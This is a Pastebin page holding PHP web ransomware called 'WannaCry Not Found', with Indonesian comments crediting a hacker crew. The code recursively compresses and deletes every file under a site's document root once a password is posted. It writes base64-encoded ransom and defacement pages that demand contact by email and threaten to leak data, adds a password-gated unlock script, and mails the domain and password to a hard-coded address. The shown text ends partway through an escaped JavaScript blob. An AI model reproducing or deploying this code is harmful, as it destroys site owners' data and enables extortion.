API tools faq
paste
RokiAdhytama

Wannacry Not Found by 22XploiterCrew

RokiAdhytama
Jun 13th, 2019
228
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 21.58 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. /*
  3. Recode? Woi Dek Inget Kata2 Gw ( Look And Learn )
  4. Done !!
  5. Itu Adalah Kuncinya, Jadi Pelajari Lalu Tiru Jangan cuma Copy Paste Edit Done.
  6.  
  7. ■■■■■■■■■■■■■■■■■
  8. Name : WannaCry Not Found
  9. Release : 10 Juni 2019
  10. ■■■■■■■■■■■■■■■■■
  11.  
  12. Usahain Kalo Mau Lock Web Pastikan Jaringan Lancar Dan Kuat, Agar Proses Lock Web Berjalan Dengan Normal.
  13. Kesalahan Saat Lock Web Di Luar Tanggung Jawab Saya, Karna Gw Udah Atur Siapa Yang Tanem RansomeWare Dia Yang Pegang.
  14. @./R4ND5
  15. Jangan Recode Tanpa Seizin Lead (22Xploit Hacker Team@RiyanZ).
  16. Kok Ga Di Encrypt Semua Bang? Lu Mau Recode Ga Njing !!.
  17. Bingung? Contact Me : hackerulez0@gmail.com
  18. */
  19. error_reporting(0);
  20. set_time_limit(0);
  21. ini_set('memory_limit', '-1');
  22. if(isset($_POST['pass'])) {
  23. function encfile($filename){
  24. if (strpos($filename, '.crypt by r4nd5') !== false) {
  25. return;
  26. }
  27. file_put_contents($filename.".crypt by r4nd5", gzdeflate(file_get_contents($filename), 9));
  28. unlink($filename);
  29. copy('.htaccess','.htabackup');
  30. $file = base64_decode("PCFET0NUWVBFIGh0bWw+DQo8aHRtbD4NCjxoZWFkPg0KCTx0aXRsZT5XYW5uYUNyeSBOb3QgRm91bmQ8L3RpdGxlPg0KCTxsaW5rIHJlbD0ic2hvcnRjdXQgaWNvbiIgdHlwZT0iaHR0cHM6Ly9jZG4ucGl4YWJheS5jb20vcGhvdG8vMjAxMy8wNy8xMi8xOS8yMy9wb3dlci0xNTQ2OTJfNjQwLnBuZyI+DQo8c3R5bGU+DQoJDQoJKnsNCiAgICBwYWRkaW5nOiAwOyBtYXJnaW46IDA7DQp9DQpwIHsNCgljb2xvcjogYmxhY2s7DQp9DQpoNCB7DQoJY29sb3I6IHJlZDsNCglmb250LWZhbWlseTogIkNvbWljIFNhbnMgTXMiLCBjdXJzaXZlOw0KCWZvbnQtc2l6ZTogMjJweDsNCn0NCmgzIHsNCgljb2xvcjogcmVkOw0KCWZvbnQtZmFtaWx5OiAiQ29taWMgU2FucyBNcyIsIGN1cnNpdmU7DQoJZm9udC1zaXplOiAxNnB4Ow0KfQ0KaDJ7DQoJY29sb3I6IzUwNjI2QzsNCgl0ZXh0LWFsaWduOiBjZW50ZXI7DQoJZm9udC1mYW1pbHk6IGFyaWFsOw0KCXRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7DQoJYm9yZGVyOiAzcHggc29saWQgI2YxZjFmMTsNCglwYWRkaW5nOiA1cHg7DQoJd2lkdGg6IDQ5MHB4Ow0KCW1hcmdpbjogYXV0bzsNCgltYXJnaW4tYm90dG9tOiAxMHB4Ow0KICAgIG1hcmdpbi10b3A6IDIwcHg7DQp9DQpmb3JtW21ldGhvZD0icG9zdCJdIHsNCiAgICBib3JkZXI6IDNweCBzb2xpZCByZWQ7DQogICAgZm9udC1mYW1pbHk6IGFyaWFsOw0KICAgIHdpZHRoOiA3MDBweDsNCiAgICBtYXJnaW46IGF1dG87DQp9DQoNCmlucHV0W3R5cGU9ZW1haWxdLCBpbnB1dFt0eXBlPXBhc3N3b3JkXSB7DQogICAgd2lkdGg6IDEwMCU7DQogICAgcGFkZGluZzogMTJweCAyMHB4Ow0KICAgIG1hcmdpbjogOHB4IDA7DQogICAgZGlzcGxheTogaW5saW5lLWJsb2NrOw0KICAgIGJvcmRlcjogMXB4IHNvbGlkIGJsYWNrOw0KICAgIGJveC1zaXppbmc6IGJvcmRlci1ib3g7DQogICAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7DQogICAgY29sb3I6IHJlZDsNCn0NCmxhYmVsew0KCWNvbG9yOiByZWQ7DQoJdGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTsNCn0NCmJ1dHRvbltuYW1lPSJoZWhlIl0sIGJ1dHRvbltuYW1lPSJuZ2VudG9kIl0gew0KICAgIGJhY2tncm91bmQtY29sb3I6IHJlZDsNCiAgICBjb2xvcjogd2hpdGU7DQogICAgcGFkZGluZzogMTRweCAyMHB4Ow0KICAgIG1hcmdpbjogOHB4IDA7DQogICAgYm9yZGVyOiBub25lOw0KICAgIGN1cnNvcjogcG9pbnRlcjsNCiAgICB3aWR0aDogMTAwJTsNCn0NCg0KYnV0dG9uOmhvdmVyIHsNCiAgICBvcGFjaXR5OiAwLjg7DQp9DQoNCi5jYW5jZWxidG4gew0KICAgIHdpZHRoOiBhdXRvOw0KICAgIHBhZGRpbmc6IDEwcHggMThweDsNCiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZjAzNDM0Ow0KfQ0KDQouaW1nY29udGFpbmVyIHsNCiAgICB0ZXh0LWFsaWduOiBjZW50ZXI7DQogICAgbWFyZ2luOiAyNHB4IDAgMTJweCAwOw0KfQ0KDQppbWcuYXZhdGFyIHsNCiAgICB3aWR0aDogNDAlOw0KICAgIGJvcmRlci1yYWRpdXM6IDUwJTsNCn0NCg0KLmNvbnRhaW5lciB7DQogICAgcGFkZGluZzogMTZweDsNCn0NCmJvZHkgew0KCWJhY2tncm91bmQtY29sb3I6IHdoaXRlOw0KfQ0KfQ0KCQ0KPC9zdHlsZT4NCjw/cGhwDQplcnJvcl9yZXBvcnRpbmcoMCk7DQokaW5wdXQgPSAkX1BPU1RbJ3Bhc3MnXTsNCiRwYXNzID0gIkd1YUdhbnNUcSI7DQppZihpc3NldCgkaW5wdXQpKSB7DQppZihtZDUoJGlucHV0KSA9PSAkcGFzcykgew0KZnVuY3Rpb24gZGVjZmlsZSgkZmlsZW5hbWUpew0KCWlmIChzdHJwb3MoJGZpbGVuYW1lLCAnLmNyeXB0IGJ5IHI0bmQ1JykgPT09IEZBTFNFKSB7DQoJcmV0dXJuOw0KCX0NCgkkZGVjcnlwdGVkID0gZ3ppbmZsYXRlKGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlbmFtZSkpOw0KCWZpbGVfcHV0X2NvbnRlbnRzKHN0cl9yZXBsYWNlKCcuY3J5cHQgYnkgcjRuZDUnLCAnJywgJGZpbGVuYW1lKSwgJGRlY3J5cHRlZCk7DQoJdW5saW5rKCdsb2dpbi5waHAnKTsNCnVubGluaygncmVhZG1lLmh0bWwnKTsNCgl1bmxpbmsoJ2luZGV4Lmh0bWwnKTsNCgl1bmxpbmsoJy5odGFjY2VzcycpOw0KCXVubGluaygkZmlsZW5hbWUpOw0KCWVjaG8gIiRmaWxlbmFtZSBVTkxPQ0tFRCAhISE8YnI+IjsNCn0NCg0KZnVuY3Rpb24gZGVjZGlyKCRkaXIpew0KCSRmaWxlcyA9IGFycmF5X2RpZmYoc2NhbmRpcigkZGlyKSwgYXJyYXkoJy4nLCAnLi4nKSk7DQoJCWZvcmVhY2goJGZpbGVzIGFzICRmaWxlKSB7DQoJCQlpZihpc19kaXIoJGRpci4iLyIuJGZpbGUpKXsNCgkJCQlkZWNkaXIoJGRpci4iLyIuJGZpbGUpOw0KCQkJfWVsc2Ugew0KCQkJCWRlY2ZpbGUoJGRpci4iLyIuJGZpbGUpOw0KCQl9DQoJfQ0KfQ0KDQpkZWNkaXIoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSk7DQplY2hvICI8YnI+V2UgQXJlIEFub255bW91czxicj4iOw0KdW5saW5rKCRfU0VSVkVSWydQSFBfU0VMRiddKTsNCnVubGluaygnLmh0YWNjZXNzJyk7DQpjb3B5KCdodGFiYWNrdXAnLCcuaHRhY2Nlc3MnKTsNCmVjaG8gJ1N1Y2Nlc3MgISEhJzsNCn0gZWxzZSB7DQplY2hvICdGYWlsZWQgUGFzc3dvcmQgISEhJzsNCn0NCmV4aXQoKTsNCn0NCj8+DQo8L2hlYWQ+DQo8Ym9keT4NCg0KPGgyPkkgQW0gTG9ja2VkIFlvdXIgU2l0ZTwvaDI+DQoNCjxmb3JtIG1ldGhvZD0icG9zdCI+DQogIDxkaXYgY2xhc3M9ImltZ2NvbnRhaW5lciI+DQogICAgPGltZyBzcmM9Imh0dHBzOi8vY2RuLnBpeGFiYXkuY29tL3Bob3RvLzIwMTMvMDcvMTIvMTkvMjMvcG93ZXItMTU0NjkyXzY0MC5wbmciIGFsdD0iTXIuUjRORDUiIGNsYXNzPSJhdmF0YXIiPjxoND5XYW5uYUNyeSBOb3QgRm91bmQ8L2g0Pg0KICA8L2Rpdj4NCg0KICA8ZGl2IGNsYXNzPSJjb250YWluZXIiPg0KICAgIDxsYWJlbCBmb3I9ImltbCI+PGI+RW1haWw8L2I+PC9sYWJlbD4NCiAgICA8aW5wdXQgdHlwZT0iZW1haWwiIHBsYWNlaG9sZGVyPSJFbnRlciBFbWFpbCIgbmFtZT0iZW1haWwiIHJlcXVpcmVkIGlkPSJpbWwiPg0KDQogICAgPGxhYmVsIGZvcj0icHN3Ij48Yj5QYXNzd29yZDwvYj48L2xhYmVsPg0KICAgIDxpbnB1dCB0eXBlPSJwYXNzd29yZCIgcGxhY2Vob2xkZXI9IkVudGVyIFBhc3N3b3JkIiBuYW1lPSJwYXNzIiByZXF1aXJlZCBpZD0icHN3Ij4NCiAgICAgICAgDQogICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9ImhlaGUiPkRlY3J5cHQ8L2J1dHRvbj4NCiAgICA8L2Zvcm0+DQogICAgPGhyPg0KICAgICAgICAgIDxmb3JtIGFjdGlvbj0icmVhZG1lLmh0bWwiIG5hbWU9Imt1bnR1bCIgbWV0aG9kPSJnZXQiPg0KICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBuYW1lPSJuZ2VudG9kIj5SZXF1aXJlbWVudHMgZm9yIFVubG9ja2luZzwvYnV0dG9uPg0KPC9mb3JtPg0KICAgICAgICAgIA0KICAgICAgICAgIDxoMz5Db3B5UmlnaHQgMmsxOSBNci5SNE5ENUAyMlhwbG9pdGVyIENyZXc8L2gzPg0KPC9ib2R5Pg0KPGlmcmFtZSB3aWR0aD0iMCIgaGVpZ2h0PSIwIiBzcmM9Imh0dHBzOi8vYXBpLnNvdW5kY2xvdWQuY29tL3RyYWNrcy8zMjM5ODAzMDUvc3RyZWFtP2NsaWVudF9pZD1hM2UwNTk1NjNkN2ZkMzM3MmI0OWIzN2YwMGEwMGJjZiIgZnJhbWVib3JkZXI9IjAiIGFsbG93ZnVsbHNjcmVlbj48L2lmcmFtZT4NCjwvaHRtbD4=");
  31. $q = str_replace('GuaGansTq', md5($_POST['pass']), $file);
  32. $w = str_replace('r4nd5@hacker.org', $_POST['email'], $q);
  33. $dec = $w;
  34. $comp = "<?php eval('?>'.base64_decode("."'".base64_encode($dec)."'".").'<?php '); ?>";
  35. $hacker = fopen('login.php','w');
  36. fwrite($hacker, $comp);
  37. fclose($hacker);
  38. $hta = base64_decode("PCFET0NUWVBFIGh0bWw+DQo8aHRtbD4NCiAgIDxoZWFkPg0KCSAgPHRpdGxlPkFsbCBZb3VyIEZpbGVzIEFyZSBFbmNyeXB0ZWQgQnkgMjJYcGxvaXQgSGFja2VyIFRlYW08L3RpdGxlPg0KICAgICAgPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiPg0KICAgICAgPG1ldGEgY29udGVudD0iMjJYcGxvaXRlciBDcmV3IiBuYW1lPSJkZXNjcmlwdGlvbiIvPg0KICAgICAgPG1ldGEgY29udGVudD0iMjJYcGxvaXRlciBDcmV3IiBuYW1lPSJrZXl3b3JkcyIvPg0KICAgICAgPG1ldGEgcHJvcGVydHk9Im9nOmltYWdlIiBjb250ZW50PSJodHRwczovL2VuY3J5cHRlZC10Ym4wLmdzdGF0aWMuY29tL2ltYWdlcz9xPXRibiUzQUFOZDlHY1RWa0lFVGZKOW5TSmw0Q0llaUcwSWRmRHFfaXE3TGNCUndDMVQzWXFUR2dCS3FQM2dvIiAvPg0KDQogICAgICA8bGluayBocmVmPSJodHRwOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1CbGFjaytPcHMrT25lfE1vbnRzZXJyYXR8Q2FiaW4rU2tldGNofE9yYml0cm9ufEFyY2hpdGVjdHMrRGF1Z2h0ZXJ8UGVybWFuZW50K01hcmtlcnxMdWNraWVzdCtHdXl8Q2hlcnJ5K0NyZWFtK1NvZGEiIHJlbD0ic3R5bGVzaGVldCIgLz4NCiAgICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2FuaW1hdGUuY3NzLzMuNS4yL2FuaW1hdGUubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiAvPg0KICAgICAgPGxpbmsgaHJlZj0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvZm9udC1hd2Vzb21lLzQuNy4wL2Nzcy9mb250LWF3ZXNvbWUubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiAvPg0KICAgICAgPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iaHR0cDovL2NvZGUuanF1ZXJ5LmNvbS9qcXVlcnktbGF0ZXN0Lm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgICANCiAgICAgIDxzdHlsZT4NCiAgICAgIAkNCiAgICAgIAlib2R5IHsNCiAgICAgIAkJYmFja2dyb3VuZC1jb2xvcjogYmxhY2s7DQogICAgICAJfQ0KICAgICAgCQ0KICAgICAgCSAuZ2xvdyB7DQogICAgICAgICB0ZXh0LXNoYWRvdzogMCAwIDEwcHggI0Y1OTcwMDsNCiAgICAgICAgIGZvbnQtZmFtaWx5OiJCbGFjayBPcHMgT25lIjsNCiAgICAgICAgIH0NCiAgICAgIAkNCiAgICAgIAkgLmdyIHsNCiAgICAgICAgIHRleHQtc2hhZG93OiAwIDAgMTNweCByZWQ7DQogICAgICAgICBmb250LWZhbWlseToiQmxhY2sgT3BzIE9uZSI7DQogICAgICAgICB9DQogICAgICAgICANCiAgICAgICAgICAuZ2dyIHsNCiAgICAgICAgIHRleHQtc2hhZG93OiAwIDAgMTNweCB3aGl0ZTsNCiAgICAgICAgIGZvbnQtZmFtaWx5OiJCbGFjayBPcHMgT25lIjsNCiAgICAgICAgIH0NCiAgICAgIAkNCiAgICAgIAkubWVnYSB7DQogICAgICAJCWNvbG9yOiB3aGl0ZTsNCiAgICAgIAl9DQogICAgICAJDQogICAgICAJaDEgew0KICAgICAgCQljb2xvcjogd2hpdGU7DQogICAgICAJfQ0KICAgICAgCQ0KICAgICAgCS53ZWFyZSB7DQogICAgICAJCWNvbG9yOiB3aGl0ZTsNCiAgICAgIAl9DQogICAgICAJDQogICAgICAJYnV0dG9uIHsNCiAgICAgIAkJd2lkdGg6IDcwMHB4Ow0KICAgICAgCQloZWlnaHQ6IDUwcHg7DQogICAgICAJCWJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50Ow0KICAgICAgCQljb2xvcjogcmVkOw0KICAgICAgCQlmb250LXNpemU6IDMycHg7DQogICAgICAJCWZvbnQtZmFtaWx5OiJCbGFjayBPcHMgT25lIjsNCiAgICAgIAl9DQogICAgICAJYnV0dG9uOmhvdmVyIHsNCiAgICAgIAkJYmFja2dyb3VuZC1jb2xvcjogZGFya2dyZXk7DQogICAgICAJCWNvbG9yOiB3aGl0ZTsNCiAgICAgIAl9DQogICAgICAJDQogICAgICAJYSB7DQogICAgICAJCWNvbG9yOiB3aGl0ZTsNCiAgICAgIAl9DQogICAgICAJDQogICAgICA8L3N0eWxlPg0KICAgICAgDQo8Ym9keT4NCgkNCgk8Ym9keT4NCiAgICAgIDxlbWJlZCBzcmM9Imh0dHBzOi8vZGwuZHJvcGJveHVzZXJjb250ZW50LmNvbS9zL21udzkxcWFvYjUwb3p2bC93ZSUyMGFyZSUyMGFub255bW91cy5tcDM/ZGw9MCIgd2lkdGg9IjAiIGhlaWdodD0iMCIgLz4NCiAgICAgIDxjZW50ZXI+DQo8ZGl2IGlkPSJoZWFkZXIiPg0KPHNwYW4gY2xhc3M9Imdsb3ciIHN0eWxlPSJmb250LXNpemU6IDUwcHQ7Ij7igKoNCjxpIGNsYXNzPSJmYSBmYS1oYW5kLW8tcmlnaHQiIGFyaWEtaGlkZGVuPSJ0cnVlIj4NCjwvaT4gSEFDS0VEIEJZIDIyWFBMT0lUIDxpIGNsYXNzPSJmYSBmYS1oYW5kLW8tbGVmdCIgYXJpYS1oaWRkZW49InRydWUiPg0KPC9pPjwvc3Bhbj48YnI+DQoNCjxkaXYgY2xhc3M9ImFuaW1hdGVkIGluZmluaXRlIGZsYXNoIj4NCjxzcGFuIGNsYXNzPSJnciIgc3R5bGU9J2NvbG9yOmJsYWNrOyBmb250LWZhbWlseTogIkx1Y2tpZXN0IEd1eSInPg0KPGZvbnQgc2l6ZT0iOCI+IFlPVVIgRklMRVMgSEFWRSBCRUVOPGJyPiA8aSBjbGFzcz0iZmEgZmEtbG9jayIgYXJpYS1oaWRkZW49InRydWUiPg0KPC9pPiBMT0NLRUQgPGkgY2xhc3M9ImZhIGZhLWxvY2siIGFyaWEtaGlkZGVuPSJ0cnVlIj4NCiAgCTwvaT48L2ZvbnQ+PC9zcGFuPjwvZGl2Pg0KPGltZyBzcmM9Imh0dHBzOi8vdGh1bWJzLmdmeWNhdC5jb20vUGVya3lFYWNoTGFkeWJpcmQud2VicCIgYWx0PSIyMlhwbG9pdCIgd2lkdGg9IjUwMHB4IiBoZWlnaHQ9IjUwMHB4Ij48YnI+DQogIDxkaXYgY2xhc3M9IndlYXJlIj5Tb3JyeSBBZG1pbiwgSSBIYXZlIExvY2tlZCBBbGwgRmlsZXMgVGhhdCBBcmUgSW5zaWRlIFlvdXIgU2l0ZTwvZGl2Pg0KICA8aDEgc3R5bGU9J2ZvbnQtZmFtaWx5OiAiQ2hlcnJ5IENyZWFtIFNvZGEiOyc+PGI+PHNwYW4gY2xhc3M9Im1lZ2EiPkluZG9uZXNpYSBIYWNrZXIgUnVsZXo8L3NwYW4+PC9iPjwvaDE+DQo8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0ibG9naW4ucGhwIj4NCgkNCgk8YnV0dG9uPkNsaWNrIE1lIFRvIE9wZW4gVGhlIEZpbGU8L2J1dHRvbj4NCgkNCjwvZm9ybT48YnI+PHNwYW4gY2xhc3M9Imdsb3ciPk9mZmljaWFsIDIyWHBsb2l0IEhhY2tlciBUZWFtPC9zcGFuPg0KPHNwYW4gY2xhc3M9ImdnciI+PGZvbnQgc2l6ZT0iNiI+PG1hcnF1ZWUgYmVoYXZpb3I9ImFsdGVybmF0ZSIgc2Nyb2xsYW1vdW50PSIxNSI+U2Fsc2EgQmlsbGEgOjogUGVtZXJhbiBQZW5nZ2FudGkgOjogUGFya2VyJ3ogR2FucyA6OiBDcmFrRklGRSA6OiAzbHlSMXk0biA6OiBDeWJlciBTeXN0ZW0gOjogLi9IaXJhcnVLdW4gOjogTXIuVmVyeU5vb2IgOjogRW1wZXJvciA6OiBNci5YY2FuWGNlclggOjogTXIuS1ZNSSQgOjogRDRSSzVINEQwVzUgOjogLi9Ta3kgOjogLi9aZXJvQ29vbCA6OiBLNFBUM04gQjRUNCA6OiBYbXVlenphIDo6IEM0TDRNSVRZIDo6IE1zc1hDb2RlIDo6IC4vUjRORDUgOjogTXIuQ2F0J3MgOjogcHNldWNvZGUgOjogTXIuQmVlIDo6IEpva29HYW5zIDo6IFJvb3RAQWhtYWQ8L21hcnF1ZWU+DQo8L2JvZHk+DQo8L2h0bWw+DQogPHNjcmlwdD4NCihmdW5jdGlvbiAoZ2xvYmFsKSB7DQoNCsKgIMKgIGlmKHR5cGVvZiAoZ2xvYmFsKSA9PT0gInVuZGVmaW5lZCIpIHsNCsKgIMKgIMKgIMKgIHRocm93IG5ldyBFcnJvcigid2luZG93IGlzIHVuZGVmaW5lZCIpOw0KwqAgwqAgfQ0KDQrCoCDCoCB2YXIgX2hhc2ggPSAiISI7DQrCoCDCoCB2YXIgbm9CYWNrUGxlYXNlID0gZnVuY3Rpb24gKCkgew0KwqAgwqAgwqAgwqAgZ2xvYmFsLmxvY2F0aW9uLmhyZWYgKz0gIiMiOw0KDQrCoCDCoCDCoCDCoCAvLyBtYWtpbmcgc3VyZSB3ZSBoYXZlIHRoZSBmcnVpdCBhdmFpbGFibGUgZm9yIGp1aWNlICheX19eKQ0KwqAgwqAgwqAgwqAgZ2xvYmFsLnNldFRpbWVvdXQoZnVuY3Rpb24gKCkgew0KwqAgwqAgwqAgwqAgwqAgwqAgZ2xvYmFsLmxvY2F0aW9uLmhyZWYgKz0gIiEiOw0KwqAgwqAgwqAgwqAgfSwgNTApOw0KwqAgwqAgfTsNCg0KwqAgwqAgZ2xvYmFsLm9uaGFzaGNoYW5nZSA9IGZ1bmN0aW9uICgpIHsNCsKgIMKgIMKgIMKgIGlmIChnbG9iYWwubG9jYXRpb24uaGFzaCAhPT0gX2hhc2gpIHsNCsKgIMKgIMKgIMKgIMKgIMKgIGdsb2JhbC5sb2NhdGlvbi5oYXNoID0gX2hhc2g7DQrCoCDCoCDCoCDCoCB9DQrCoCDCoCB9Ow0KDQrCoCDCoCBnbG9iYWwub25sb2FkID0gZnVuY3Rpb24gKCkgeyDCoCDCoCDCoCDCoCDCoMKgDQrCoCDCoCDCoCDCoCBub0JhY2tQbGVhc2UoKTsNCg0KwqAgwqAgwqAgwqAgLy8gZGlzYWJsZXMgYmFja3NwYWNlIG9uIHBhZ2UgZXhjZXB0IG9uIGlucHV0IGZpZWxkcyBhbmQgdGV4dGFyZWEuLg0KwqAgwqAgwqAgwqAgZG9jdW1lbnQuYm9keS5vbmtleWRvd24gPSBmdW5jdGlvbiAoZSkgew0KwqAgwqAgwqAgwqAgwqAgwqAgdmFyIGVsbSA9IGUudGFyZ2V0Lm5vZGVOYW1lLnRvTG93ZXJDYXNlKCk7DQrCoCDCoCDCoCDCoCDCoCDCoCBpZiAoZS53aGljaCA9PT0gOCAmJiAoZWxtICE9PSAnaW5wdXQnICYmIGVsbSDCoCE9PSAndGV4dGFyZWEnKSkgew0KwqAgwqAgwqAgwqAgwqAgwqAgwqAgwqAgZS5wcmV2ZW50RGVmYXVsdCgpOw0KwqAgwqAgwqAgwqAgwqAgwqAgfQ0KwqAgwqAgwqAgwqAgwqAgwqAgLy8gc3RvcHBpbmcgZXZlbnQgYnViYmxpbmcgdXAgdGhlIERPTSB0cmVlLi4NCsKgIMKgIMKgIMKgIMKgIMKgIGUuc3RvcFByb3BhZ2F0aW9uKCk7DQrCoCDCoCDCoCDCoCB9OyDCoCDCoCDCoCDCoMKgDQrCoCDCoCB9DQoNCn0pKHdpbmRvdyk7DQo8L3NjcmlwdD4=");
  39. $ht = fopen('index.html', 'w');
  40. fwrite($ht, $hta);
  41. fclose($ht);
  42. $hehe = base64_decode("PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQogICA8aGVhZD4NCiAgICAgIDx0aXRsZT5VbnRpdGxlZDwvdGl0bGU+DQogICAgICA8Ym9keSBiZ2NvbG9yPSJCbGFjayI+DQogICAgICAgICAgICA8c3R5bGU+DQogICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgIHAgew0KICAgICAgICAgICAgICAgICAgICAgICAgY29sb3I6IGRhcmtncmVlbjsNCiAgICAgICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTBweDsNCiAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgPC9zdHlsZT4NCiAgIDwvaGVhZD4NCiAgIDxib2R5Pg0KICAgICAgDQo8Y2VudGVyPg0KICAgICAgPGltZyBzcmM9Imh0dHBzOi8vaW1hZ2VzMi5pbWdib3guY29tL2ZhLzI2L2hZcEVnZHRNX28ucG5nIiBhbHQ9IjIyWHBsb2l0IiB3aWR0aD0iNTAwIiBoZWlnaHQ9IjUwMCI+DQo8L2NlbnRlcj4NCjxwPlsjXSBIQVBQWQ0KQUxMIFlPVVIgV0VCU0VSVkVSIEZJTEUgV0FTIExPQ0tFRCBBTkQgQUxMIFRIRSBEQVRBQkFTRSBXQVMgU1RPUFBFRCENCiAgICAgIDxicj4NCiBbI10gSE9XIERPIEkgREVWRUxPUCBNWSBGSUxFIEFORCBHRVQgQkFDSyBNWSBEQVRBQkFTRT8NCiAgICAgIDxicj48YnI+DQogWW91IGhhdmUgdG8gZ2l2ZSB1cyB3aGF0IHdlIHdhbnQuDQpDb250YWN0IDxmb250IGNvbG9yPSJnb2xkIj5oYWNrZXJ1bGV6MEBnbWFpbC5jb208L2ZvbnQ+DQppZiB5b3UgcmVhbGx5IHdhbnQgdG8gcmVvcGVuIHRoZSBzaXRlIHRoYXQgd2UgaGF2ZSBsb2NrZWQuDQogICAgICA8YnI+DQogV2Ugd2lsbCBjb250aW51ZSB0byBzZWUgZW1haWxzIHRoYXQgZW50ZXIgb3VyIGVtYWlsIGJveC4NCiAgICAgICA8YnI+DQpJZiB3ZSBoYXZlbid0IHJlY2VpdmVkIGFuIGVtYWlsIGZyb20geW91IGluIDIgd2Vla3MsIHdlIHdpbGwgbG9jayB5b3VyIHNpdGUgZm9yZXZlci48YnI+DQpEb24ndCB0cnkgdG8gaW1wcm92ZSB5b3VyIG93biBzaXRlIG9yIHdlIHdpbGwgZGl2dWxnZSBhbGwgZGF0YSBvbiB0aGlzIHNpdGUuDQogICAgICA8YnI+PGJyPg0KWyNdIFJFUVVJUkVNRU5UUzxicj4NCjEuIENvbnRhY3QgdXMgYXQgPGZvbnQgY29sb3I9ImdvbGQiPmhhY2tlcnVsZXowQGdtYWlsLmNvbTwvZm9udD48YnI+DQoyLiBXcml0ZSBhIG1lc3NhZ2UgY29udGFpbmluZyBhIHJlcXVlc3QgdG8gYnV5IGEgcGFzc3dvcmQ8YnI+DQozLiBXZSB3aWxsIHByb3ZpZGUgYSBwYXNzd29yZCBpZiB5b3UgaGF2ZSBmdWxmaWxsZWQgb3VyIHJlcXVlc3Q8YnI+DQo0LiBpZiB0aGVyZSBhcmUgbm8gaW5jb21pbmcgZW1haWxzIGZyb20geW91IGluIDIgd2Vla3MsIHRoZW4gd2Ugd2lsbCBsb2NrIHlvdXIgc2l0ZSBmb3JldmVyPGJyPjxicj4NCiBHcmVldGluZ3MsPGJyPg0KPGZvbnQgY29sb3I9InJlZCI+MjJYcGxvaXQgSGFja2VycyBUZWFtPC9mb250Pg0KPC9wPg0KDQogICA8L2JvZHk+DQo8L2h0bWw+");
  43. $memek = fopen('readme.html', 'w');
  44. fwrite($memek, $hehe);
  45. fclose($memek);
  46. echo "$filename LOCKED !!!<br>";
  47. }
  48.  
  49. function encdir($dir){
  50. $files = array_diff(scandir($dir), array('.', '..'));
  51. foreach($files as $file) {
  52. if(is_dir($dir."/".$file)){
  53. encdir($dir."/".$file);
  54. } else {
  55. encfile($dir."/".$file);
  56.  
  57. }
  58. }
  59. }
  60.  
  61. if(isset($_POST['pass'])){
  62. encdir($_SERVER['DOCUMENT_ROOT']);
  63. function getDomainName($url){
  64. $pieces = parse_url($url);
  65. $domain = isset($pieces['host']) ? $pieces['host'] : ''; if(preg_match('/(?P<domain>[a-z0-9][a-z0-9\-]{1,63}\.[a-z\.]{2,6})$/i', $domain, $regs)){
  66. return $regs['domain'];
  67. } return FALSE;
  68. }
  69. }
  70. copy('admin.php', $_SERVER['DOCUMENT_ROOT'].'/admin.php');
  71. copy('.htaccess', $_SERVER['DOCUMENT_ROOT'].'.htaccess');
  72. copy($_SERVER['DOCUMENT_ROOT'].'.htaccess', $_SERVER['DOCUMENT_ROOT'].'.htabackup');
  73. $to = ('andrewahyuu11@gmail.com');
  74. $subject = 'Your Ransomware Info';
  75. $message = "Domain : ".$_SERVER['HTTP_ADDR']."\n\n"."Your Password : ".$_POST['pass'];
  76. if(mail($to,$subject,$message)) {
  77. echo 'Berhasil !!!';
  78. } else {
  79. echo 'Berhasiil !!!';
  80. }
  81. exit();
  82. }
  83. ?>
  84. <Script Language='Javascript'>
  85. <!-- Recode?Sampah -->
  86. <!--
  87. document.write(unescape('%3C%68%74%6D%6C%3E%0A%3C%74%69%74%6C%65%3E%52%34%4E%44%35%6F%6D%65%77%61%72%65%3C%2F%74%69%74%6C%65%3E%0A%3C%6C%69%6E%6B%20%72%65%6C%3D%22%73%68%6F%72%74%63%75%74%20%69%63%6F%6E%22%20%74%79%70%65%3D%22%69%6D%61%67%65%2F%78%2D%69%63%6F%6E%22%20%68%72%65%66%3D%22%68%74%74%70%73%3A%2F%2F%65%70%6C%61%6E%6E%69%6E%67%2E%62%65%6E%67%6B%75%6C%75%70%72%6F%76%2E%67%6F%2E%69%64%2F%32%30%31%38%2F%61%73%73%65%74%73%2F%6C%6F%67%69%6E%2F%69%6D%67%2F%6C%6F%67%69%6E%2E%70%6E%67%22%3E%0A%3C%73%74%79%6C%65%3E%0A%09%0A%09%2A%7B%0A%20%20%20%20%70%61%64%64%69%6E%67%3A%20%30%3B%20%6D%61%72%67%69%6E%3A%20%30%3B%0A%7D%0A%68%32%7B%0A%09%63%6F%6C%6F%72%3A%23%35%30%36%32%36%43%3B%0A%09%74%65%78%74%2D%61%6C